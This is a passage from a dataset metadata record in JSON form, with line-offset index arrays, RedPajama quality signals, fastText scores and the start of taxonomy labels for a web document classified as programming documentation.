6426,
6428,
6507,
6581,
6583,
6631,
6633,
6706,
6785,
6852,
6854,
6933,
7007,
7087,
7110,
7112,
7183,
7260,
7274,
7276,
7345,
7347,
7428,
7483,
7485,
7487,
7525,
7563,
7565,
7638,
7719,
7795,
7873,
7951,
7978,
7980,
8043,
8045,
8099,
8153,
8155,
8230,
8308,
8385,
8398,
8400,
8459,
8461,
8540,
8593,
8595,
8597,
8636,
8675,
8677,
8754,
8834,
8915,
8953,
8955,
9009,
9011,
9090,
9169,
9248,
9266,
9268,
9327,
9329,
9399,
9401,
9403,
9427,
9451,
9453,
9531,
9611,
9683,
9754,
9756,
9773,
9784,
9839,
9847,
9853,
9915,
9955,
9962,
9967,
9969,
10046,
10126,
10204,
10240,
10242,
10321,
10383,
10385,
10461,
10488,
10490,
10547,
10549,
10624,
10626,
10704,
10761,
10763,
10844,
10846,
10913,
10992,
11008,
11010,
11072,
11108,
11134,
11136,
11216,
11294,
11367,
11409,
11411,
11491,
11493,
11574,
11645,
11709,
11787,
11849,
11851,
11853,
11879,
11905,
11907,
11988,
12029,
12031,
12088,
12128,
12163,
12182,
12184,
12261,
12341,
12409,
12411,
12489,
12569,
12643,
12654,
12656,
12737,
12813,
12815,
12817,
12832,
12847,
12849,
12924,
12926,
12953,
12955,
13036,
13100,
13102,
13170,
13172,
13174,
13191,
13208,
13210,
13289,
13327,
13329,
13375,
13382,
13387,
13436,
13438,
13486,
13488,
13525,
13546,
13567,
13619,
13624,
13626,
13701,
13773,
13775,
13817,
13832,
13854,
13874,
13902,
13907,
13909,
13917,
13919,
13994,
14023,
14025,
14105,
14186,
14188,
14230,
14232,
14311,
14351,
14353,
14426,
14504,
14531,
14533,
14611,
14667,
14669,
14671,
14695,
14719,
14721,
14778,
14780,
14805,
14853,
14855,
14917,
14919,
14987,
14989,
15063,
15065,
15129,
15133,
15163,
15183,
15185,
15240,
15262,
15276,
15298,
15332,
15354,
15367,
15402,
15433,
15443,
15469,
15471,
15495,
15519,
15540,
15569,
15571,
15615,
15647,
15683,
15697,
15699,
15724,
15751,
15773,
15806,
15834,
15847,
15854,
15856,
15871,
15877,
15882,
15886,
15921,
15961,
15977,
15993,
16011,
16040,
16066,
16097,
16129,
16131,
16159,
16184,
16259,
16272,
16276,
16278,
16305,
16332,
16349,
16362,
16366,
16374,
16376,
16381,
16436,
16487,
16588,
16619,
16621,
16638,
16656,
16679,
16694,
16717,
16740,
16772,
16789,
16811,
16825,
16847,
16869,
16900,
16902,
16929,
16972,
16985,
16991,
17016,
17042,
17084,
17096,
17101,
17125,
17127,
17174,
17186,
17211,
17257,
17259,
17286,
17321,
17333,
17355,
17397,
17421,
17436,
17440,
17442,
17477,
17511,
17570,
17578,
17580,
17591,
17615,
17619,
17622,
17624,
17693,
17710,
17713,
17715,
17784,
17856,
17918,
17964,
17967,
18029,
18032,
18034,
18099,
18157,
18160,
18222,
18224,
18271,
18274,
18276,
18341,
18399,
18402,
18464,
18466,
18513,
18516,
18518,
18558,
18596,
18599,
18663,
18666,
18734,
18736,
18792,
18794,
18867,
18945,
19002,
19020,
19024,
19026,
19097,
19173,
19198,
19200,
19262,
19328,
19370,
19402,
19434,
19469,
19491,
19520,
19536,
19607,
19610,
19619,
19621,
19684,
19711,
19738,
19779,
19818,
19822,
19830,
19832,
19898,
19922,
19964,
20009,
20082,
20096,
20115,
20117,
20154,
20181,
20227,
20244,
20264,
20269,
20276,
20295,
20303,
20307,
20309,
20354,
20405,
20427,
20515,
20528,
20544,
20546,
20598,
20672,
20691,
20693,
20736,
20809,
20812,
20814,
20818,
20895,
20951,
20998,
21003,
21079,
21154,
21157,
21185,
21237,
21264,
21280,
21282,
21313,
21346,
21348,
21365,
21384,
21386,
21391,
21451,
21513,
21572,
21632,
21676,
21682,
21718,
21774,
21792,
21794,
21869,
21871,
21907,
21953,
22000,
22030,
22047,
22072,
22076,
22112,
22114,
22119,
22191,
22290,
22311,
22332,
22378,
22400,
22417,
22442,
22446,
22466,
22484,
22486,
22528,
22574,
22599,
22617,
22642,
22646,
22669,
22688,
22690,
22695,
22763,
22862,
22883,
22904,
22934,
22964,
22998,
23029,
23050,
23071,
23073,
23124,
23165,
23177,
23180,
23182,
23186,
23263,
23319,
23324,
23400,
23403,
23430,
23461,
23477,
23479,
23506,
23531,
23549,
23557,
23559,
23590,
23623,
23625,
23642,
23661,
23663,
23668,
23728,
23790,
23849,
23909,
23953,
23959,
23995,
24051,
24069,
24071,
24149,
24151,
24187,
24233,
24280,
24315,
24332,
24357,
24361,
24363,
24405,
24420,
24445,
24447,
24477,
24510,
24548,
24550,
24568,
24638,
24711,
24725,
24728,
24730,
24828,
24902,
24912,
24917,
24975,
25050,
25053,
25120,
25173,
25175,
25220,
25236,
25263,
25302,
25318,
25326,
25341,
25344,
25346,
25419,
25513,
25545,
25557,
25559,
25589,
25626,
25639,
25657,
25659,
25698,
25738,
25756,
25774,
25858,
25875,
25887,
25889,
25918,
25948,
25983,
26019,
26021,
26045,
26071,
26172,
26244,
26273,
26276,
26330,
26390,
26418,
26456,
26475,
26568,
26597,
26631,
26633,
26663,
26699,
26712,
26730,
26732,
26806,
26873,
26899,
26902,
26955,
27009,
27068,
27128,
27149,
27151,
27156,
27223,
27263,
27295,
27327,
27366,
27409,
27482,
27547,
27619,
27655,
27708,
27761,
27800,
27840,
27886,
27928,
28004,
28010,
28036,
28058,
28101,
28122,
28148,
28174,
28203,
28227,
28251,
28273,
28316,
28356,
28384,
28412,
28439,
28474,
28482,
28486,
28488,
28492,
28570,
28572,
28635,
28637,
28664,
28726,
28773,
28832,
28891,
28930,
28938,
28940,
28981,
29008,
29084,
29092,
29158,
29217,
29293,
29295,
29340,
29391,
29462,
29483,
29516,
29530,
29564,
29582,
29619,
29649,
29653,
29711,
29765,
29769,
29807,
29812,
29814,
29844,
29874,
29876,
29913,
29938,
29967,
29969,
29996,
29998,
30012,
30014,
30042,
30079,
30146,
30210,
30274,
30278,
30280,
30303,
30313,
30337,
30402,
30407,
30451,
30489,
30493,
30495,
30517,
30541,
30578,
30650,
30706,
30763,
30829,
30877,
30897,
30945,
31004,
31049,
31053,
31055,
31059,
31103,
31108,
31124,
31134,
31158,
31212,
31217,
31282,
31343,
31382,
31448,
31514,
31575,
31614,
31662,
31666,
31668,
31672,
31706,
31711,
31732,
31756,
31786,
31827,
31847,
31851,
31853,
31913,
31953,
31985,
32002,
32052,
32104,
32167,
32237,
32329,
32404,
32466,
32518,
32574,
32628,
32630,
32692,
32739,
32742,
32779,
32811,
32851,
32854,
32856,
32926,
32965,
32999,
33016,
33019,
33042,
33092,
33095,
33097,
33169,
33172,
33187,
33239,
33265,
33269,
33272,
33274,
33279,
33360,
33390,
33395,
33470,
33472,
33480,
33482,
33517,
33598,
33638,
33677,
33716,
33733,
33735,
33761,
33787,
33813,
33815,
33906,
33908,
33985,
34057,
34059,
34091,
34136,
34158,
34205,
34243,
34247,
34249,
34253,
34316,
34321,
34362,
34408,
34471,
34534,
34600,
34604,
34606,
34642,
34687,
34724,
34775,
34779,
34781,
34783,
34787,
34865,
34906,
34946,
34965,
34984,
35032,
35052,
35064,
35066,
35086,
35122,
35134,
35141,
35143,
35217,
35291,
35356,
35375,
35377,
35415,
35417,
35445,
35494,
35511,
35558,
35598,
35620,
35642,
35702,
35704,
35740,
35770,
35814,
35816,
35866,
35868,
35925,
35946,
35979,
35993,
36020,
36038,
36075,
36142,
36146,
36204,
36258,
36262,
36300,
36305,
36307,
36343,
36370,
36395,
36421,
36446,
36473,
36504,
36527,
36550,
36578,
36603,
36631,
36659,
36684,
36713,
36738,
36771,
36803,
36833,
36835,
36871,
36904,
36928,
36930,
36965,
37037,
37039,
37111,
37143,
37146,
37213,
37234,
37254,
37256,
37328,
37400,
37473,
37479,
37511,
37559,
37592,
37624,
37626,
37646,
37668,
37670,
37708,
37711,
37713,
37782,
37818,
37821,
37844,
37847,
37849,
37927,
37997,
38036,
38079,
38119,
38151,
38155,
38157,
38161,
38203,
38208,
38271,
38308,
38311,
38322,
38369,
38396,
38417,
38469,
38490,
38492,
38505,
38522,
38524,
38562,
38564,
38587,
38600,
38602,
38632,
38653,
38674,
38720,
38734,
38736,
38801,
38833,
38847,
38849,
38908,
38978,
38996,
39033,
39058,
39088,
39108,
39110,
39144,
39164,
39204,
39244,
39268,
39286,
39304,
39329,
39331,
39388,
39429,
39439,
39443,
39524,
39539,
39541,
39547,
39587,
39599,
39654,
39669,
39671,
39678,
39690,
39693,
39695,
39699,
39741,
39746,
39816,
39863,
39866,
39904,
39964,
40012,
40066,
40075,
40077,
40120,
40137,
40139,
40180,
40205,
40235,
40285,
40338,
40355,
40359,
40361,
40431,
40434,
40436,
40441,
40500,
40549,
40590,
40659,
40698,
40702,
40783,
40793,
40797,
40879,
40917,
40922,
40980,
41021,
41057,
41076,
41079,
41112,
41142,
41165,
41167,
41241,
41256,
41267,
41271,
41273,
41292,
41294,
41359,
41383,
41397,
41427,
41457,
41459,
41502,
41543,
41591,
41605,
41607,
41668,
41682,
41684,
41721,
41725,
41727,
41748,
41751,
41794,
41796,
41800,
41875,
41894,
41899,
41979,
41982,
42032,
42055,
42080,
42107,
42130,
42154,
42156,
42171,
42190,
42211,
42229,
42231,
42253,
42314,
42333,
42335,
42393,
42435,
42513,
42515,
42551,
42599,
42648,
42685,
42702,
42717,
42721,
42723,
42765,
42780,
42795,
42797,
42861,
42875,
42890,
42892,
42927,
42965,
42983,
43001,
43054,
43058,
43060,
43119,
43154,
43194,
43209,
43226,
43228,
43260,
43285,
43318,
43349,
43409,
43421,
43423,
43433,
43466,
43492,
43508,
43516,
43589,
43603,
43606,
43608,
43612,
43649,
43654,
43713,
43771,
43774,
43819,
43862,
43893,
43925,
43975,
44004,
44006,
44021,
44040,
44042,
44060,
44091,
44110,
44123,
44127,
44129,
44174,
44235,
44254,
44286,
44318,
44348,
44367,
44369,
44440,
44458,
44481,
44483,
44500,
44544,
44593,
44637,
44658,
44692,
44747,
44761,
44777,
44781,
44783,
44852,
44881,
44887,
44904,
44979,
44995,
45015,
45050,
45052,
45076,
45120,
45187,
45201,
45203,
45230,
45270,
45306,
45357,
45402,
45410,
45414,
45416,
45429,
45435,
45454,
45511,
45554,
45575,
45590,
45618,
45630,
45632,
45645,
45658,
45672,
45675,
45677,
45727,
45730,
45761,
45811,
45843,
45852,
45854,
45895,
45929,
45931,
45979,
45994,
46022,
46048,
46051,
46053,
46058,
46114,
46153,
46158,
46208,
46211,
46258,
46261,
46294,
46296,
46342,
46345,
46407,
46409,
46462,
46487,
46490,
46492,
46536,
46539,
46604,
46606,
46643,
46646,
46648,
46652,
46673,
46678,
46722,
46725,
46765,
46768,
46770,
46775,
46817,
46854,
46888,
46892,
46940,
46945,
47011,
47014,
47042,
47080,
47119,
47163,
47166,
47168,
47173,
47240,
47269,
47306,
47310,
47391,
47470,
47544,
47548,
47623,
47675,
47680,
47752,
47755,
47820,
47839,
47841,
47898,
47956,
47999,
48018,
48022,
48024,
48060,
48108,
48110,
48141,
48169,
48196,
48252,
48285,
48287,
48342,
48354,
48357,
48394,
48396,
48401,
48478,
48520,
48583,
48648,
48685,
48689,
48767,
48824,
48829,
48909,
48936,
48939,
48978,
49008,
49031,
49053,
49055,
49074,
49076,
49084,
49111,
49172,
49186,
49254,
49270,
49274,
49303,
49315,
49317,
49325,
49336,
49377,
49424,
49453,
49455,
49527,
49529,
49563,
49616,
49673,
49686,
49701,
49753,
49755,
49797,
49799,
49865,
49908,
49914,
49930,
49974,
49976,
50008,
50010,
50056,
50100,
50122,
50127,
50129,
50163,
50167,
50169,
50199,
50241,
50243,
50284,
50306,
50334,
50354,
50358,
50378,
50380,
50425,
50440,
50446,
50467,
50481,
50484,
50526,
50528,
50532,
50607,
50683,
50752,
50757,
50809,
50812,
50840,
50863,
50879,
50881,
50900,
50931,
50933,
51004,
51030,
51032,
51075,
51148,
51191,
51231,
51265,
51267,
51333,
51399,
51466,
51496,
51503,
51550,
51566,
51609,
51611,
51640,
51642,
51692,
51711,
51755,
51805,
51807,
51856,
51862,
51864,
51906,
51937,
51939,
51958,
51984,
52009,
52053,
52093,
52103,
52134,
52157,
52164,
52187,
52193,
52198,
52200,
52221,
52253,
52257,
52259,
52292,
52313,
52316,
52318,
52323,
52389,
52415,
52420,
52465,
52468,
52500,
52549,
52564,
52566,
52583,
52599,
52639,
52675,
52707,
52737,
52742,
52755,
52759,
52761,
52778,
52781,
52814,
52816,
52820,
52849,
52854,
52906,
52909,
52939,
52941,
52990,
53005,
53024,
53026,
53049,
53078,
53111,
53148,
53150,
53180,
53192,
53195,
53196,
53197,
53198,
53199
],
"line_end_idx": [
68,
69,
106,
135,
136,
137,
209,
281,
355,
427,
495,
550,
551,
594,
595,
666,
738,
762,
763,
797,
852,
853,
928,
998,
1069,
1132,
1133,
1203,
1234,
1235,
1280,
1281,
1310,
1327,
1346,
1360,
1364,
1365,
1439,
1512,
1582,
1658,
1724,
1725,
1796,
1866,
1935,
2000,
2001,
2055,
2059,
2060,
2120,
2190,
2256,
2316,
2377,
2441,
2502,
2562,
2622,
2702,
2757,
2807,
2855,
2896,
2897,
3014,
3054,
3111,
3168,
3266,
3356,
3436,
3481,
3515,
3595,
3641,
3679,
3754,
3775,
3808,
3822,
3858,
3876,
3908,
3940,
3972,
3974,
4054,
4135,
4197,
4199,
4230,
4232,
4234,
4280,
4282,
4329,
4352,
4354,
4397,
4399,
4422,
4424,
4426,
4436,
4446,
4448,
4527,
4608,
4689,
4764,
4838,
4849,
4851,
4928,
5008,
5089,
5139,
5141,
5214,
5268,
5270,
5349,
5427,
5508,
5565,
5567,
5642,
5715,
5795,
5863,
5865,
5867,
5886,
5905,
5907,
5958,
5960,
5990,
6008,
6028,
6043,
6048,
6050,
6130,
6211,
6289,
6353,
6355,
6392,
6426,
6428,
6507,
6581,
6583,
6631,
6633,
6706,
6785,
6852,
6854,
6933,
7007,
7087,
7110,
7112,
7183,
7260,
7274,
7276,
7345,
7347,
7428,
7483,
7485,
7487,
7525,
7563,
7565,
7638,
7719,
7795,
7873,
7951,
7978,
7980,
8043,
8045,
8099,
8153,
8155,
8230,
8308,
8385,
8398,
8400,
8459,
8461,
8540,
8593,
8595,
8597,
8636,
8675,
8677,
8754,
8834,
8915,
8953,
8955,
9009,
9011,
9090,
9169,
9248,
9266,
9268,
9327,
9329,
9399,
9401,
9403,
9427,
9451,
9453,
9531,
9611,
9683,
9754,
9756,
9773,
9784,
9839,
9847,
9853,
9915,
9955,
9962,
9967,
9969,
10046,
10126,
10204,
10240,
10242,
10321,
10383,
10385,
10461,
10488,
10490,
10547,
10549,
10624,
10626,
10704,
10761,
10763,
10844,
10846,
10913,
10992,
11008,
11010,
11072,
11108,
11134,
11136,
11216,
11294,
11367,
11409,
11411,
11491,
11493,
11574,
11645,
11709,
11787,
11849,
11851,
11853,
11879,
11905,
11907,
11988,
12029,
12031,
12088,
12128,
12163,
12182,
12184,
12261,
12341,
12409,
12411,
12489,
12569,
12643,
12654,
12656,
12737,
12813,
12815,
12817,
12832,
12847,
12849,
12924,
12926,
12953,
12955,
13036,
13100,
13102,
13170,
13172,
13174,
13191,
13208,
13210,
13289,
13327,
13329,
13375,
13382,
13387,
13436,
13438,
13486,
13488,
13525,
13546,
13567,
13619,
13624,
13626,
13701,
13773,
13775,
13817,
13832,
13854,
13874,
13902,
13907,
13909,
13917,
13919,
13994,
14023,
14025,
14105,
14186,
14188,
14230,
14232,
14311,
14351,
14353,
14426,
14504,
14531,
14533,
14611,
14667,
14669,
14671,
14695,
14719,
14721,
14778,
14780,
14805,
14853,
14855,
14917,
14919,
14987,
14989,
15063,
15065,
15129,
15133,
15163,
15183,
15185,
15240,
15262,
15276,
15298,
15332,
15354,
15367,
15402,
15433,
15443,
15469,
15471,
15495,
15519,
15540,
15569,
15571,
15615,
15647,
15683,
15697,
15699,
15724,
15751,
15773,
15806,
15834,
15847,
15854,
15856,
15871,
15877,
15882,
15886,
15921,
15961,
15977,
15993,
16011,
16040,
16066,
16097,
16129,
16131,
16159,
16184,
16259,
16272,
16276,
16278,
16305,
16332,
16349,
16362,
16366,
16374,
16376,
16381,
16436,
16487,
16588,
16619,
16621,
16638,
16656,
16679,
16694,
16717,
16740,
16772,
16789,
16811,
16825,
16847,
16869,
16900,
16902,
16929,
16972,
16985,
16991,
17016,
17042,
17084,
17096,
17101,
17125,
17127,
17174,
17186,
17211,
17257,
17259,
17286,
17321,
17333,
17355,
17397,
17421,
17436,
17440,
17442,
17477,
17511,
17570,
17578,
17580,
17591,
17615,
17619,
17622,
17624,
17693,
17710,
17713,
17715,
17784,
17856,
17918,
17964,
17967,
18029,
18032,
18034,
18099,
18157,
18160,
18222,
18224,
18271,
18274,
18276,
18341,
18399,
18402,
18464,
18466,
18513,
18516,
18518,
18558,
18596,
18599,
18663,
18666,
18734,
18736,
18792,
18794,
18867,
18945,
19002,
19020,
19024,
19026,
19097,
19173,
19198,
19200,
19262,
19328,
19370,
19402,
19434,
19469,
19491,
19520,
19536,
19607,
19610,
19619,
19621,
19684,
19711,
19738,
19779,
19818,
19822,
19830,
19832,
19898,
19922,
19964,
20009,
20082,
20096,
20115,
20117,
20154,
20181,
20227,
20244,
20264,
20269,
20276,
20295,
20303,
20307,
20309,
20354,
20405,
20427,
20515,
20528,
20544,
20546,
20598,
20672,
20691,
20693,
20736,
20809,
20812,
20814,
20818,
20895,
20951,
20998,
21003,
21079,
21154,
21157,
21185,
21237,
21264,
21280,
21282,
21313,
21346,
21348,
21365,
21384,
21386,
21391,
21451,
21513,
21572,
21632,
21676,
21682,
21718,
21774,
21792,
21794,
21869,
21871,
21907,
21953,
22000,
22030,
22047,
22072,
22076,
22112,
22114,
22119,
22191,
22290,
22311,
22332,
22378,
22400,
22417,
22442,
22446,
22466,
22484,
22486,
22528,
22574,
22599,
22617,
22642,
22646,
22669,
22688,
22690,
22695,
22763,
22862,
22883,
22904,
22934,
22964,
22998,
23029,
23050,
23071,
23073,
23124,
23165,
23177,
23180,
23182,
23186,
23263,
23319,
23324,
23400,
23403,
23430,
23461,
23477,
23479,
23506,
23531,
23549,
23557,
23559,
23590,
23623,
23625,
23642,
23661,
23663,
23668,
23728,
23790,
23849,
23909,
23953,
23959,
23995,
24051,
24069,
24071,
24149,
24151,
24187,
24233,
24280,
24315,
24332,
24357,
24361,
24363,
24405,
24420,
24445,
24447,
24477,
24510,
24548,
24550,
24568,
24638,
24711,
24725,
24728,
24730,
24828,
24902,
24912,
24917,
24975,
25050,
25053,
25120,
25173,
25175,
25220,
25236,
25263,
25302,
25318,
25326,
25341,
25344,
25346,
25419,
25513,
25545,
25557,
25559,
25589,
25626,
25639,
25657,
25659,
25698,
25738,
25756,
25774,
25858,
25875,
25887,
25889,
25918,
25948,
25983,
26019,
26021,
26045,
26071,
26172,
26244,
26273,
26276,
26330,
26390,
26418,
26456,
26475,
26568,
26597,
26631,
26633,
26663,
26699,
26712,
26730,
26732,
26806,
26873,
26899,
26902,
26955,
27009,
27068,
27128,
27149,
27151,
27156,
27223,
27263,
27295,
27327,
27366,
27409,
27482,
27547,
27619,
27655,
27708,
27761,
27800,
27840,
27886,
27928,
28004,
28010,
28036,
28058,
28101,
28122,
28148,
28174,
28203,
28227,
28251,
28273,
28316,
28356,
28384,
28412,
28439,
28474,
28482,
28486,
28488,
28492,
28570,
28572,
28635,
28637,
28664,
28726,
28773,
28832,
28891,
28930,
28938,
28940,
28981,
29008,
29084,
29092,
29158,
29217,
29293,
29295,
29340,
29391,
29462,
29483,
29516,
29530,
29564,
29582,
29619,
29649,
29653,
29711,
29765,
29769,
29807,
29812,
29814,
29844,
29874,
29876,
29913,
29938,
29967,
29969,
29996,
29998,
30012,
30014,
30042,
30079,
30146,
30210,
30274,
30278,
30280,
30303,
30313,
30337,
30402,
30407,
30451,
30489,
30493,
30495,
30517,
30541,
30578,
30650,
30706,
30763,
30829,
30877,
30897,
30945,
31004,
31049,
31053,
31055,
31059,
31103,
31108,
31124,
31134,
31158,
31212,
31217,
31282,
31343,
31382,
31448,
31514,
31575,
31614,
31662,
31666,
31668,
31672,
31706,
31711,
31732,
31756,
31786,
31827,
31847,
31851,
31853,
31913,
31953,
31985,
32002,
32052,
32104,
32167,
32237,
32329,
32404,
32466,
32518,
32574,
32628,
32630,
32692,
32739,
32742,
32779,
32811,
32851,
32854,
32856,
32926,
32965,
32999,
33016,
33019,
33042,
33092,
33095,
33097,
33169,
33172,
33187,
33239,
33265,
33269,
33272,
33274,
33279,
33360,
33390,
33395,
33470,
33472,
33480,
33482,
33517,
33598,
33638,
33677,
33716,
33733,
33735,
33761,
33787,
33813,
33815,
33906,
33908,
33985,
34057,
34059,
34091,
34136,
34158,
34205,
34243,
34247,
34249,
34253,
34316,
34321,
34362,
34408,
34471,
34534,
34600,
34604,
34606,
34642,
34687,
34724,
34775,
34779,
34781,
34783,
34787,
34865,
34906,
34946,
34965,
34984,
35032,
35052,
35064,
35066,
35086,
35122,
35134,
35141,
35143,
35217,
35291,
35356,
35375,
35377,
35415,
35417,
35445,
35494,
35511,
35558,
35598,
35620,
35642,
35702,
35704,
35740,
35770,
35814,
35816,
35866,
35868,
35925,
35946,
35979,
35993,
36020,
36038,
36075,
36142,
36146,
36204,
36258,
36262,
36300,
36305,
36307,
36343,
36370,
36395,
36421,
36446,
36473,
36504,
36527,
36550,
36578,
36603,
36631,
36659,
36684,
36713,
36738,
36771,
36803,
36833,
36835,
36871,
36904,
36928,
36930,
36965,
37037,
37039,
37111,
37143,
37146,
37213,
37234,
37254,
37256,
37328,
37400,
37473,
37479,
37511,
37559,
37592,
37624,
37626,
37646,
37668,
37670,
37708,
37711,
37713,
37782,
37818,
37821,
37844,
37847,
37849,
37927,
37997,
38036,
38079,
38119,
38151,
38155,
38157,
38161,
38203,
38208,
38271,
38308,
38311,
38322,
38369,
38396,
38417,
38469,
38490,
38492,
38505,
38522,
38524,
38562,
38564,
38587,
38600,
38602,
38632,
38653,
38674,
38720,
38734,
38736,
38801,
38833,
38847,
38849,
38908,
38978,
38996,
39033,
39058,
39088,
39108,
39110,
39144,
39164,
39204,
39244,
39268,
39286,
39304,
39329,
39331,
39388,
39429,
39439,
39443,
39524,
39539,
39541,
39547,
39587,
39599,
39654,
39669,
39671,
39678,
39690,
39693,
39695,
39699,
39741,
39746,
39816,
39863,
39866,
39904,
39964,
40012,
40066,
40075,
40077,
40120,
40137,
40139,
40180,
40205,
40235,
40285,
40338,
40355,
40359,
40361,
40431,
40434,
40436,
40441,
40500,
40549,
40590,
40659,
40698,
40702,
40783,
40793,
40797,
40879,
40917,
40922,
40980,
41021,
41057,
41076,
41079,
41112,
41142,
41165,
41167,
41241,
41256,
41267,
41271,
41273,
41292,
41294,
41359,
41383,
41397,
41427,
41457,
41459,
41502,
41543,
41591,
41605,
41607,
41668,
41682,
41684,
41721,
41725,
41727,
41748,
41751,
41794,
41796,
41800,
41875,
41894,
41899,
41979,
41982,
42032,
42055,
42080,
42107,
42130,
42154,
42156,
42171,
42190,
42211,
42229,
42231,
42253,
42314,
42333,
42335,
42393,
42435,
42513,
42515,
42551,
42599,
42648,
42685,
42702,
42717,
42721,
42723,
42765,
42780,
42795,
42797,
42861,
42875,
42890,
42892,
42927,
42965,
42983,
43001,
43054,
43058,
43060,
43119,
43154,
43194,
43209,
43226,
43228,
43260,
43285,
43318,
43349,
43409,
43421,
43423,
43433,
43466,
43492,
43508,
43516,
43589,
43603,
43606,
43608,
43612,
43649,
43654,
43713,
43771,
43774,
43819,
43862,
43893,
43925,
43975,
44004,
44006,
44021,
44040,
44042,
44060,
44091,
44110,
44123,
44127,
44129,
44174,
44235,
44254,
44286,
44318,
44348,
44367,
44369,
44440,
44458,
44481,
44483,
44500,
44544,
44593,
44637,
44658,
44692,
44747,
44761,
44777,
44781,
44783,
44852,
44881,
44887,
44904,
44979,
44995,
45015,
45050,
45052,
45076,
45120,
45187,
45201,
45203,
45230,
45270,
45306,
45357,
45402,
45410,
45414,
45416,
45429,
45435,
45454,
45511,
45554,
45575,
45590,
45618,
45630,
45632,
45645,
45658,
45672,
45675,
45677,
45727,
45730,
45761,
45811,
45843,
45852,
45854,
45895,
45929,
45931,
45979,
45994,
46022,
46048,
46051,
46053,
46058,
46114,
46153,
46158,
46208,
46211,
46258,
46261,
46294,
46296,
46342,
46345,
46407,
46409,
46462,
46487,
46490,
46492,
46536,
46539,
46604,
46606,
46643,
46646,
46648,
46652,
46673,
46678,
46722,
46725,
46765,
46768,
46770,
46775,
46817,
46854,
46888,
46892,
46940,
46945,
47011,
47014,
47042,
47080,
47119,
47163,
47166,
47168,
47173,
47240,
47269,
47306,
47310,
47391,
47470,
47544,
47548,
47623,
47675,
47680,
47752,
47755,
47820,
47839,
47841,
47898,
47956,
47999,
48018,
48022,
48024,
48060,
48108,
48110,
48141,
48169,
48196,
48252,
48285,
48287,
48342,
48354,
48357,
48394,
48396,
48401,
48478,
48520,
48583,
48648,
48685,
48689,
48767,
48824,
48829,
48909,
48936,
48939,
48978,
49008,
49031,
49053,
49055,
49074,
49076,
49084,
49111,
49172,
49186,
49254,
49270,
49274,
49303,
49315,
49317,
49325,
49336,
49377,
49424,
49453,
49455,
49527,
49529,
49563,
49616,
49673,
49686,
49701,
49753,
49755,
49797,
49799,
49865,
49908,
49914,
49930,
49974,
49976,
50008,
50010,
50056,
50100,
50122,
50127,
50129,
50163,
50167,
50169,
50199,
50241,
50243,
50284,
50306,
50334,
50354,
50358,
50378,
50380,
50425,
50440,
50446,
50467,
50481,
50484,
50526,
50528,
50532,
50607,
50683,
50752,
50757,
50809,
50812,
50840,
50863,
50879,
50881,
50900,
50931,
50933,
51004,
51030,
51032,
51075,
51148,
51191,
51231,
51265,
51267,
51333,
51399,
51466,
51496,
51503,
51550,
51566,
51609,
51611,
51640,
51642,
51692,
51711,
51755,
51805,
51807,
51856,
51862,
51864,
51906,
51937,
51939,
51958,
51984,
52009,
52053,
52093,
52103,
52134,
52157,
52164,
52187,
52193,
52198,
52200,
52221,
52253,
52257,
52259,
52292,
52313,
52316,
52318,
52323,
52389,
52415,
52420,
52465,
52468,
52500,
52549,
52564,
52566,
52583,
52599,
52639,
52675,
52707,
52737,
52742,
52755,
52759,
52761,
52778,
52781,
52814,
52816,
52820,
52849,
52854,
52906,
52909,
52939,
52941,
52990,
53005,
53024,
53026,
53049,
53078,
53111,
53148,
53150,
53180,
53192,
53195,
53196,
53197,
53198,
53199,
53268
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 53268,
"ccnet_original_nlines": 1749,
"rps_doc_curly_bracket": 0.0035668700002133846,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.1508045196533203,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.021225610747933388,
"rps_doc_frac_lines_end_with_ellipsis": 0.0017142900032922626,
"rps_doc_frac_no_alph_words": 0.46927422285079956,
"rps_doc_frac_unique_words": 0.23679384589195251,
"rps_doc_mean_word_length": 6.489361763000488,
"rps_doc_num_sentences": 336,
"rps_doc_symbol_to_word_ratio": 0.005734339822083712,
"rps_doc_unigram_entropy": 6.070128917694092,
"rps_doc_word_count": 5452,
"rps_doc_frac_chars_dupe_10grams": 0.0650932714343071,
"rps_doc_frac_chars_dupe_5grams": 0.16602599620819092,
"rps_doc_frac_chars_dupe_6grams": 0.12631429731845856,
"rps_doc_frac_chars_dupe_7grams": 0.11113624274730682,
"rps_doc_frac_chars_dupe_8grams": 0.0828716829419136,
"rps_doc_frac_chars_dupe_9grams": 0.06859807670116425,
"rps_doc_frac_chars_top_2gram": 0.007235730066895485,
"rps_doc_frac_chars_top_3gram": 0.007461839821189642,
"rps_doc_frac_chars_top_4gram": 0.0011871099704876542,
"rps_doc_books_importance": -4751.5107421875,
"rps_doc_books_importance_length_correction": -4751.5107421875,
"rps_doc_openwebtext_importance": -1925.250732421875,
"rps_doc_openwebtext_importance_length_correction": -1925.250732421875,
"rps_doc_wikipedia_importance": -1356.2677001953125,
"rps_doc_wikipedia_importance_length_correction": -1356.2677001953125
},
"fasttext": {
"dclm": 0.9988304972648621,
"english": 0.626796543598175,
"fineweb_edu_approx": 1.3032774925231934,
"eai_general_math": 0.08310210704803467,
"eai_open_web_math": 0.21984195709228516,
"eai_web_code": 0.016235049813985825
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
